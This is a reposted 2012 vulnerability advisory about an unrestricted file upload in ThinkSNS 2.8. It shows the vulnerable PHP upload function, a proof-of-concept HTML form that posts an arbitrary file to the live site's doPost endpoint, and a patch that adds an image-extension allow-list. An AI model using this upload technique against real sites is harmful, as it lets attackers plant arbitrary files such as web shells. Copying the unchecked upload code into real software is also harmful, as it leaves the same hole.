首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
ThinkSNS 2.8 上传任意文件漏洞
来源:http://www.wooyun.org 作者:yelo 发布时间:2012-12-03  

简要描述:

ThinkSNS 2.8 可上传任意文件

详细说明:

微博上传图片时只在前端进行验证, 服务器端

 

function uploadpic(){
     if( $_FILES['pic'] ){
    //执行上传操作
    $savePath =  $this->_getSaveTempPath();
    $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
        {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
        } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
        }
    }else{
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
    }
return $result;
    }

 

 

unloadpic()方法没有对文件类型进行验证

可以构建表单, 选择任意文件, 提交到
/index.php?app=w3g&mod=Index&act=doPost

在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)

漏洞证明:

在登录thinksns官方微博后,
构建以下表单:
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
<textarea name="content">test</textarea>
file: <input id="file" type="file" name="pic" />
<input type="submit" value="Post" />
</form>

去掉缩略图的前缀(small_ )
 

修复方案:

\api\StatusesApi.class.php
function uploadpic(){
    /**
    * 20121018 @yelo
    * 增加上传类型验证
    */
    $pathinfo = pathinfo($_FILES['pic']['name']);
    $ext = $pathinfo['extension'];
    $allowExts = array('jpg', 'png', 'gif', 'jpeg');

    $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);

    if( $uploadCondition ){
    //执行上传操作
    $savePath =  $this->_getSaveTempPath();
    $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
        {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
        } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
        }
    }else{
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
    }
return $result;
    }


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·ecshop csrf getshell
·FCKEditor 2.6.8文件上传和有趣
·Struts2多个漏洞简要分析
·PHPCMS2008任意PHP代码执行漏洞
·最土团购网盲注n枚
·ecshop gbk存在宽字符注入漏洞
·dedeCMS 最新注入漏洞一枚
·phpcms v9 后台上传 webshell
·Spring爆远程代码执行漏洞(含EX
·shopex前台普通用户getshell最新
·ZYCHCMS企业网站管理系统SQL注入
·phpcms多个版本后台拿shell漏洞
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved